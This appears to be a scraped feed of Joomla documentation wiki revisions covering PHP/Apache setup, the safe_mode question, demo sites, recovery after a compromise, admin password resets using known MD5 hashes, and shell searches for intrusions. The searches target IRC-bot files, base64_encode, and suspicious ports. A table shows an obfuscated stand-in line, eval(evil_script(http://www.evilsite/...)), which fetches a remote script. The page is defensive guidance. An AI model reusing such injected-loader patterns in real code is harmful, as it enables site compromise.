 &amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
LoadModule php4_module C:/php/php4apache.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;&amp;lt;b&amp;gt;and&amp;lt;/b&amp;gt;&amp;lt;/i&amp;gt;&lt;br /&gt;
 AddModule mod_php4.c&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;or&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
 AddModule mod_php5.c&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
 &amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;text-decoration: underline&amp;quot;&amp;gt;Apache 2.x&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP5&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php5_module     C:/php/php5apache2.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php5_module     /usr/lib/apache/libphp5.so&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP4&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php4_module     libexec/libphp4.so&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
LoadModule php4_module     C:/php/php4apache.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;&amp;lt;b&amp;gt;and&amp;lt;/b&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
AddModule mod_php5.c&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;or&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
AddModule mod_php4.c    &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Note:&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
Don&#039;t worry that you can&#039;t find a &amp;amp;quot;mod_php4.c&amp;amp;quot; or &amp;amp;quot;mod_php5.c&amp;amp;quot; file anywhere on your system. That directive does not cause Apache to search for the file on your system. For the curious, it specifies the order in which the various modules are enabled by the Apache server.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;If you&#039;re using Apache 2.x, you do not have to insert the AddModule directive. It&#039;s no longer needed in that version. Apache 2.x has its own internal method of determining the correct order of loading the modules.&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now find the &amp;amp;quot;AddType&amp;amp;quot; section in the file, and add the following line after the last &amp;amp;quot;AddType&amp;amp;quot; statement:&lt;br /&gt;
&lt;br /&gt;
 AddType application/x-httpd-php .php&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If you need to support other file types, like &amp;amp;quot;.php3&amp;amp;quot; and &amp;amp;quot;.phtml&amp;amp;quot;, simply add them to the list, like this:&amp;lt;&lt;br /&gt;
&lt;br /&gt;
 AddType application/x-httpd-php .php3&amp;lt;br /&amp;gt;&lt;br /&gt;
 AddType application/x-httpd-php .phtml&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Run a syntax check and if all is ok, restart Apache...&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;hr /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Running PHP as a CGI binary&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
To configure PHP to run as a CGI, again you will need to configure the&lt;br /&gt;
httpd.conf, but confirm that the above settings are not also&lt;br /&gt;
configured, unless you now what you are doing you can generate yourself&lt;br /&gt;
&amp;amp;quot;HTTP 500&amp;amp;quot; errors. Search your Apache configuration file for the&lt;br /&gt;
&amp;amp;quot;ScriptAlias&amp;amp;quot; section.&lt;br /&gt;
&lt;br /&gt;
Add the following line below after the ScriptAlias for &amp;amp;quot;cgi-bin&amp;amp;quot;. &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Note:&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The location will depend on where PHP is installed on your system, you&lt;br /&gt;
should substitute the appropriate path in place of &amp;amp;quot;c:/php/&amp;amp;quot; (for&lt;br /&gt;
example, &amp;amp;quot;c:/Program Files/php/&amp;amp;quot;).&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ScriptAlias /php/ &amp;amp;quot;c:/php/&amp;amp;quot;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Apache&lt;br /&gt;
again needs to be configured for the PHP MIME type. Search for the&lt;br /&gt;
&amp;amp;quot;AddType&amp;amp;quot; section, and add the following line after it:&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
AddType application/x-httpd-php .php&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As in the case of running PHP as an Apache module, you can add whatever extensions you want Apache to recognise as PHP scripts, such as:&lt;br /&gt;
&lt;br /&gt;
AddType application/x-httpd-php .php3&amp;lt;br /&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .phtml&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Next, you will need to tell the server to execute the PHP executable each time it encounters a PHP script. Add the following below any existing entries in the &amp;amp;quot;Action&amp;amp;quot; section.&lt;br /&gt;
&lt;br /&gt;
Action application/x-httpd-php &amp;amp;quot;/php/php.exe&amp;amp;quot;&lt;br /&gt;
&lt;br /&gt;
If you notice, we have used the &amp;amp;quot;ScriptAlias&amp;amp;quot; reference, &amp;amp;quot;/php/&amp;amp;quot; portion&lt;br /&gt;
will be recognised as the scriptAlias configured above, this is sort a path alias which will correlate to your PHP installation path configured previously. &amp;lt;i&amp;gt;In other words, don&#039;t put &amp;amp;quot;c:/php/php.exe&amp;amp;quot; or &amp;amp;quot;c:/Program Files/php/php.exe&amp;amp;quot; in that directive, put&lt;br /&gt;
&amp;amp;quot;/php/php.exe&amp;amp;quot;, Apache WILL work it out if correctly configured.&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Configuring the Default Index Page&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
This section applies to all users, whether you are loading PHP as a module or running it as a CGI binary, and has been seen often enough to warrant a mention.&lt;br /&gt;
&lt;br /&gt;
If you want to make your PHP script execute as the default page for a directory, you have to add another line to the &amp;amp;quot;httpd.conf&amp;amp;quot;. Simply search for the line in the file that begins with a &amp;amp;quot;DirectoryIndex&amp;amp;quot; and add &amp;amp;quot;index.php&amp;amp;quot; to the list of files on&lt;br /&gt;
that line. For example, if the line used to be:&lt;br /&gt;
&lt;br /&gt;
DirectoryIndex index.html&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;change it to&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
DirectoryIndex index.html index.php&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;If you still wish .html files to be executed before .php files&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;or&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
DirectoryIndex index.php index.html&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;If you wish .php files to be executed before .html files&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The next time you access the site or a directory within a site without a&lt;br /&gt;
filename, Apache will &amp;amp;quot;auto-magically&amp;amp;quot; deliver &amp;amp;quot;index.php&amp;amp;quot; if&lt;br /&gt;
available, or &amp;amp;quot;index.html&amp;amp;quot; if &amp;amp;quot;index.php&amp;amp;quot; is not available.&lt;br /&gt;
&lt;br /&gt;
== Why shouldn&#039;t I use PHP safe_mode? ==&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
Enabling safe_mode is not needed if other reasonable security precautions are followed. Using safe_mode for web site security is a poor compromise in a bad situation. It may make sense in some situations, but there is almost always a better way. Because safe_mode in some sense only gives the illusion of safety, it will be removed from PHP starting with version 6.0.&lt;br /&gt;
&lt;br /&gt;
The Joomla! core works fine with or without PHP safe_mode. The one exception to this rule is the installation script. This is because safe_mode, by design, turns off the PHP functions that enable easy uploading via a Web browser. If you do use safe_mode, and need to perform installs via the Web browser, temporarily turn safe_mode OFF, and turn it back ON when finished.&lt;br /&gt;
&lt;br /&gt;
Some third-party extensions may require the specific PHP functions that are blocked by safe_mode. Such extensions should be carefully evaluated to be sure you understand exactly why they require such powerful and potentially dangerous functions.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;From the official PHP site&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&amp;quot;The PHP safe mode is an attempt to solve the shared-server security problem. It is architecturally incorrect to try to solve this problem at the PHP level, but since the alternatives at the web server and OS levels aren&#039;t very realistic, many people, especially ISP&#039;s, use safe mode for now.&amp;quot;&#039;&#039; &lt;br /&gt;
&#039;&#039;&#039;More Information&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode Official PHP Manual: PHP Security and Safe Mode Configuration Directives]&lt;br /&gt;
# [http://us3.php.net/manual/en/features.safe-mode.functions.php Official PHP Manual: PHP Functions restricted/disabled by safe mode]&lt;br /&gt;
&lt;br /&gt;
= Development =&lt;br /&gt;
== How do I setup a secure demo site? ==&lt;br /&gt;
&lt;br /&gt;
In /includes/version.php look for:&lt;br /&gt;
&lt;br /&gt;
 /** @var string Whether site is a production = 1 or demo site = 0 */&lt;br /&gt;
 var $SITE = 1;&lt;br /&gt;
 /** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */&lt;br /&gt;
 var $RESTRICT = 0;&lt;br /&gt;
&lt;br /&gt;
For a demo site it is advised to following:&lt;br /&gt;
&lt;br /&gt;
 /** @var string Whether site is a production = 1 or demo site = 0 */&lt;br /&gt;
 var $SITE = 0;&lt;br /&gt;
 /** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */&lt;br /&gt;
 var $RESTRICT = 1;&lt;br /&gt;
&lt;br /&gt;
 $SITE = 0&lt;br /&gt;
 // Allows multiple user logins with only one account. By default Joomla! &lt;br /&gt;
 // allows only one active session per account as a security feature.&lt;br /&gt;
&lt;br /&gt;
 $RESTRICT = 1&lt;br /&gt;
 // Disables those logging in, both Front-end and Back-end from changing &lt;br /&gt;
 // user details - like password and username&lt;br /&gt;
&lt;br /&gt;
These settings are used on the official demo site http://demo.joomla.org&lt;br /&gt;
&lt;br /&gt;
You should also make all files and folders nonwriteable - especially the configuration.php file. Also recommend you setup an automatic cron job that refreshes the database at a set interval (in our case 60mins) from a db script.&lt;br /&gt;
&lt;br /&gt;
== How can I view a live site while developing, but hide it from others? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The method described below should be used for relatively minor modifications, such as adjusting menus or quickly reorganizing content sections. More complex tasks, such as installing new components or adjusting complex configuration settings should be performed and tested on a development server first. Not only does this keep your public site up and running, but it also lets you test at your leisure, thus reducing errors. One way to do it is to create a sub-domain (i. e., dev.yourdomain.com) and install Joomla! there just as it is installed on your public site.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Login to the administrator section, and choose: Site &amp;gt; Global Configuration.&lt;br /&gt;
&lt;br /&gt;
2. The first option you&#039;ll see is is to set the site offline. Choose &amp;quot;Yes&amp;quot; and press the Save button. This will hide prevent display of all site pages, and replace them with the following message:&lt;br /&gt;
&lt;br /&gt;
 &amp;quot;This site is down for maintenance. Please check back again soon. message instead.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
3. While you are logged into the &amp;quot;back end&amp;quot; administrator system, you can still view the &amp;quot;front end,&amp;quot; by choosing Site &amp;gt; Template &amp;gt; Preview. This will display the site as it would appear to users along with a warning at the top that the site is down for maintenance.&lt;br /&gt;
&lt;br /&gt;
= Site Recovery =&lt;br /&gt;
&lt;br /&gt;
== Help! My site&#039;s been compromised. Now what? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;Change all relevant passwords:&#039;&#039;&#039; Assume your passwords have been harvested and immediately change all critical passwords, including shell access, FTP access, Joomla! Administrator accounts, and the database account.&lt;br /&gt;
# &#039;&#039;&#039;Check raw logs:&#039;&#039;&#039; Identify when and how the attackers gained access to your site by carefully reviewing your raw server logs. Make careful note of the date/time and names of attacked files. Note that these logs may have been deleted or altered, so a lack of evidence does not prove a lack of activity.&lt;br /&gt;
# &#039;&#039;&#039;List recently modified files:&#039;&#039;&#039; Before making any changes to your site, generate a list of recently modified files. Here&#039;s a php script that will list the files for you. Remove this script as soon as you have your list and don&#039;t publish a link to it!&lt;br /&gt;
# &#039;&#039;&#039;Note suspicious newly-created files:&#039;&#039;&#039; Use this list to identify new files that don&#039;t belong. Pay particular attention to their creation and modification dates, and correlate them to the dates of attacks shown in your log files.&lt;br /&gt;
# &#039;&#039;&#039;Note suspicious recently-modified files:&#039;&#039;&#039; Check the modified files list for any files that were recently changed. Pay particular attention to the modification, and correlate them to the dates of attacks shown in your log files.&lt;br /&gt;
# &#039;&#039;&#039;Check for bogus CRON Jobs:&#039;&#039;&#039; Hacked cron jobs can be setup to reinfect your site over and over again.&lt;br /&gt;
# &#039;&#039;&#039;Coordinate with your host:&#039;&#039;&#039; If you have identified how you were cracked, report the method to your host. If you are on a shared server, you may habe been attacked through another vulnerable site on your server. Report this to your host. A reputable host will appreciate your efforts in this area.&lt;br /&gt;
# &#039;&#039;&#039;Delete the entire public_html directory:&#039;&#039;&#039; This is the best way to guarantee that every potential vulnerability in that site is removed.&lt;br /&gt;
# &#039;&#039;&#039;Delete related database records:&#039;&#039;&#039; This step may only be possible if you have good backups. Simple script kiddies, who are only trying to mark your index page, may not attack your database, but professionals are usually very interested in confidential data, such as passwords. They may pose as script kiddies to avoid suspicion while repeatedly harvesting confidential information from your database.&lt;br /&gt;
# &#039;&#039;&#039;Reinstall everything:&#039;&#039;&#039; Use pre-crack backups. If you don&#039;t have good backups, go on to step 10.&lt;br /&gt;
# &#039;&#039;&#039;Reset critical passwords again:&#039;&#039;&#039; You must reset your passwards again now that your server is finally cleaned of any possible, hidden trojan horses.&lt;br /&gt;
# &#039;&#039;&#039;Rebuild site:&#039;&#039;&#039; If you are unable to rebuild from clean backups, rebuild your entire site using original, pre-crack installs. Use only the latest stable versions of all software, and check the List of Vulnerable Extensions&lt;br /&gt;
# &#039;&#039;&#039;Review security processes:&#039;&#039;&#039; Follow standard security precautions for important settings in php.ini, globals.php, configuration.php, .htaccess, etc.&lt;br /&gt;
# &#039;&#039;&#039;Review backup processes:&#039;&#039;&#039; If you don&#039;t already have one, add a dependable backup process to your site administration practices.&lt;br /&gt;
# &#039;&#039;&#039;Stay watchful:&#039;&#039;&#039; Attackers often return repeatedly. Closely monitor your raw logs for suspicious activity.&lt;br /&gt;
&lt;br /&gt;
==How do I reset an administrator password?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Note:&#039;&#039;&#039; This method is for Joomla versions up to and including 1.0.12. For later versions of Joomla and Joomla 1.5.xx versions please use this &#039;&#039;&#039;([[How_do_you_recover_your_admin_password%3F|FAQ]])&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Because passwords are stored using a one-way MD5 hash which prevents recovering the password, you cannot recover an existing password, but you can reset it to a new password by editing the password field in the database. In the following directions, you will set the password MD5 value to a known value and then log-in using the password that matches that value. Once logged in, you can change the password again using normal Joomla! user access screens.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Enhanced Password Encryption Note Joomla! 1.0.13+ and Joomla! 1.5.x&#039;&#039;&#039;&lt;br /&gt;
This method works with the new salt-enhanced passwords. This is because Joomla! will automatically update passwords in the earlier format.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Use a MySQL utility such as phpMyAdmin or MySQL Query Browser .&lt;br /&gt;
&lt;br /&gt;
2. Open the correct database and select the table, jos_users . (Change default table prefix, &#039;jos_&#039; to your table prefix if it is different.)&lt;br /&gt;
&lt;br /&gt;
3. Select the record (or table row) for your administrator account. (The default Super Administrator is user number 62.)&lt;br /&gt;
&lt;br /&gt;
4. Copy and paste a known MD5 hash into the password field. You can use one of the below examples.&lt;br /&gt;
&#039;&#039;&#039;Warning:&#039;&#039;&#039; You must paste the password&#039;s hash value, not the password itself. You can use any of the following hashs, or create your own using one of the MD5 tools listed below.&lt;br /&gt;
&lt;br /&gt;
 password = &amp;quot;MD5 hash of password&amp;quot;&lt;br /&gt;
 ------------------------------------------------------&lt;br /&gt;
 admin = 21232f297a57a5a743894a0e4a801fc3&lt;br /&gt;
 secret = 5ebe2294ecd0e0f08eab7690d2a6ee69&lt;br /&gt;
 OU812 = 7441de5382cf4fecbaa9a8c538e76783&lt;br /&gt;
&lt;br /&gt;
5. Save the user record.&lt;br /&gt;
&lt;br /&gt;
6. Point a browser to your site and log in using the Super Administrator account you just modified.&lt;br /&gt;
&lt;br /&gt;
7. &#039;&#039;&#039;IMPORTANT:&#039;&#039;&#039; Once logged in, use the Joomla interface to change the password to one that only you know. This step is vital as it will &#039;salt&#039; your new password, thus adding an additional level of security on top of the MD5 hash.&lt;br /&gt;
&lt;br /&gt;
Note: This technique can be used to modify any other accounts password. You can also use it to change Usernames.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Generating your own MD5 hash from a password of your choice&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Alternatively, you can set the password to a value of your own choice. Use tools, such as the following, to create your own strong hashed password. Use the above directions once you&#039;ve generated a hash with these tools.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Online MD5 hash creation tools&#039;&#039;&#039;&lt;br /&gt;
* JavaScript MD5 - http://pajhome.org.uk/crypt/md5/&lt;br /&gt;
* MD5er - http://www.md5er.com/&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Free MD5 utilities for download&#039;&#039;&#039;&lt;br /&gt;
* MD5 &amp;amp; Hashing Utilities - http://www.digital-detective.co.uk/freetools/md5.asp&lt;br /&gt;
* SlavaSoft HashCalc - http://www.slavasoft.com/hashcalc/overview.htm&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Other MD5 tools&#039;&#039;&#039;&lt;br /&gt;
* There are many free online and downloadable MD5 utilities. Google &amp;quot;MD5 hash tool&amp;quot;&lt;br /&gt;
&lt;br /&gt;
== How do I find exploits using the *NIX shell? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check the active processes&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Use the &amp;quot;ps&amp;quot; command to look for odd or unknown processes, if you aren&#039;t sure what to look for there, user &amp;quot;netstat -ae | grep irc&amp;quot; and/or &amp;quot;netstat -ea | grep 666&amp;quot; and look for ports 6666, 6667, 6668, 6669, these are common ports used for running IRC bots, they may have the name &amp;quot;irc&amp;quot; listed against them, or may have &amp;quot;httpd&amp;quot; or sometimes other regular services names.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check crontab&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Check your crontab and see if there is a strange entry, these are used in many exploits to restart IRC bots, even when admins or automated process monitors are used to kill a rogue process.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check for hidden files or directories&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Check for hidden files or directories you dont expect to see, those starting with &amp;quot;.&amp;quot; (dots) and also look for &amp;quot;. &amp;quot; (dot, space) often favored to try and catch searches for hidden directories.&lt;br /&gt;
&lt;br /&gt;
Other examples of searches that may help pin down exploits and/or unexpected files and folders:&lt;br /&gt;
&lt;br /&gt;
 find /home -type f | xargs grep -l MultiViews&lt;br /&gt;
 find . -type f | xargs grep -l base64_encode &amp;lt;&amp;lt;&amp;lt; this can produce false positives, it is valid in many mail/graphics scripts&lt;br /&gt;
 find . -type f | xargs grep -l error_reporting&lt;br /&gt;
 find / -name &amp;quot;[Bb]itch[xX]&amp;quot;&lt;br /&gt;
 find / -name &amp;quot;psy*&amp;quot;&lt;br /&gt;
 ls -lR | grep rwxrwxrwx &amp;gt; listing.txt&lt;br /&gt;
&lt;br /&gt;
== What are these strange (URL-Encoded) characters doing in my code? ==&lt;br /&gt;
&lt;br /&gt;
Overview&lt;br /&gt;
&lt;br /&gt;
Attackers sometimes hide code away from prying eyes by URL Encoding it.&lt;br /&gt;
&lt;br /&gt;
The purpose of URL Encoding is to allow non-URL compatible characters to be passed via the URL. There are many legitimate reasons for doing this, such as hiding email from spammers, dealing with spaces in file names. etc.&lt;br /&gt;
&lt;br /&gt;
However, if you find odd, URL-encoded text in your site&#039;s files, you should investigate immediately. URL encoded text is very easy to translate using PHP, javascript, or one of the many free, online translators.&lt;br /&gt;
&lt;br /&gt;
Here are some trivial, non-functioning examples of URL Encoded text:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table border=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;Original&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;URL Encoded&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr valign=&amp;quot;top&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;this line has spaces&amp;lt;/td&amp;gt; &lt;br /&gt;
&amp;lt;td&amp;gt;this%20line%20has%20spaces&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr valign=&amp;quot;top&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;eval(evil_script(http://www.evilsite/?evilscript.pl&amp;quot;));&amp;lt;/td&amp;gt; &lt;br /&gt;
&amp;lt;td&amp;gt;%65val%28%65%76il_%73cri%70t&lt;br /&gt;
%28%68tt%70%3A//%77%77%77.&lt;br /&gt;
%65%76il%73ite/%3F%65%76il%73&lt;br /&gt;
cript.%70l%22%29%29%3B&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Resources&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# [http://www.linkedresources.com/tools/unescaper_v0.2b1.html Text Unescape Utility]&lt;br /&gt;
# [http://www.w3schools.com/tags/ref_urlencode.asp HTML URL-encoding Reference]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Edited by==&lt;br /&gt;
[http://forum.joomla.org/memberlist.php?mode=viewprofile&amp;amp;u=39784 rliskey]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- KEEP THIS AT THE END OF THE PAGE --&amp;gt;&lt;br /&gt;
[[Category:Security]]&lt;br /&gt;
[[Category:FAQ]]&lt;br /&gt;
[[Category:Security_FAQ]]&lt;/div&gt;</summary>
		<author><name>Cadrlp</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Security_and_Performance_FAQs&amp;diff=62361</id>
		<title>Security and Performance FAQs</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Security_and_Performance_FAQs&amp;diff=62361"/>
		<updated>2011-09-26T22:35:10Z</updated>

		<summary type="html">&lt;p&gt;Cadrlp: /* How do I choose a quality hosting provider? */ link says its against rules to promote your own hosting service, or advertise on these forums. Links JRD (Joomla! Resources Directory-hosting section)&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{RightTOC}}&lt;br /&gt;
&lt;br /&gt;
= Getting Started =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Is GNU and Open Source software worth the costs and risks?==&lt;br /&gt;
&lt;br /&gt;
It&#039;s difficult, if not impossible, to argue against the value proposition of GNU and Open Source software, although [http://www.catb.org/~esr/halloween/ some have tried]. Due to zero licensing fees, lower administrative overhead, high-quality code, security releases that are distributed in minutes or hours rather than months or marketing cycles, and free online support from thousands of like-minded developers and users, GNU and Open Source offerings are often the best solution. The math is really quite compelling: &lt;br /&gt;
&lt;br /&gt;
{|class=&amp;quot;wikitable&amp;quot; border=&amp;quot;1&amp;quot;&lt;br /&gt;
! &#039;&#039;&#039;Applications&#039;&#039;&#039; !! &#039;&#039;&#039;Industry Leader&#039;&#039;&#039; !! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;Cost&#039;&#039;&#039;&lt;br /&gt;
|-&lt;br /&gt;
| GNU/Linux&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Apache Web Server&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| MySQL Relational Database&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| PHP Scripting Language&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Content Management System&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Thousands of Joomla Extensions&lt;br /&gt;
| Varies&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
! &#039;&#039;&#039;Support&#039;&#039;&#039; !! &#039;&#039;&#039;Relative Quality&#039;&#039;&#039; !! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;Cost&#039;&#039;&#039;&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Project Leadership Team&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Forge&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Online Forums&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Documentation&lt;br /&gt;
| Medium&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Thousands of Online Volunteers&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Paid Professional Support&lt;br /&gt;
| Widely Available&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;Total&#039;&#039;&#039; !! &amp;amp;nbsp; !! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;0&#039;&#039;&#039;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==What is the Joomla! Administrator&#039;s Security Checklist?==&lt;br /&gt;
&lt;br /&gt;
The [[Security Checklist 1 - Getting Started|Security Checklist]] is a concise selection of the best tips and tricks from the many contributors in the Joomla Security Forums. Review this list BEFORE you install Joomla for the first time.&lt;br /&gt;
&lt;br /&gt;
==What are the top 10 stupidest Joomla! security tricks?==&lt;br /&gt;
A very good question, and sadly one that many did not ask in time. We proudly present the [[Top 10 Stupidest Administrator Tricks]].&lt;br /&gt;
&lt;br /&gt;
==How do I choose a quality hosting provider?==&lt;br /&gt;
&lt;br /&gt;
The following is a short list of security-related requirements. Depending on your specific needs, you may have many other security requirements such as shell access, cron access, SSL server, etc.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Choose *NIX:&#039;&#039;&#039; Joomla! requires at least PHP and MySQL to run. Because Apache/PHP/MySQL run best on UNIX or GNU/LINUX servers, choose a host that offers these options. &lt;br /&gt;
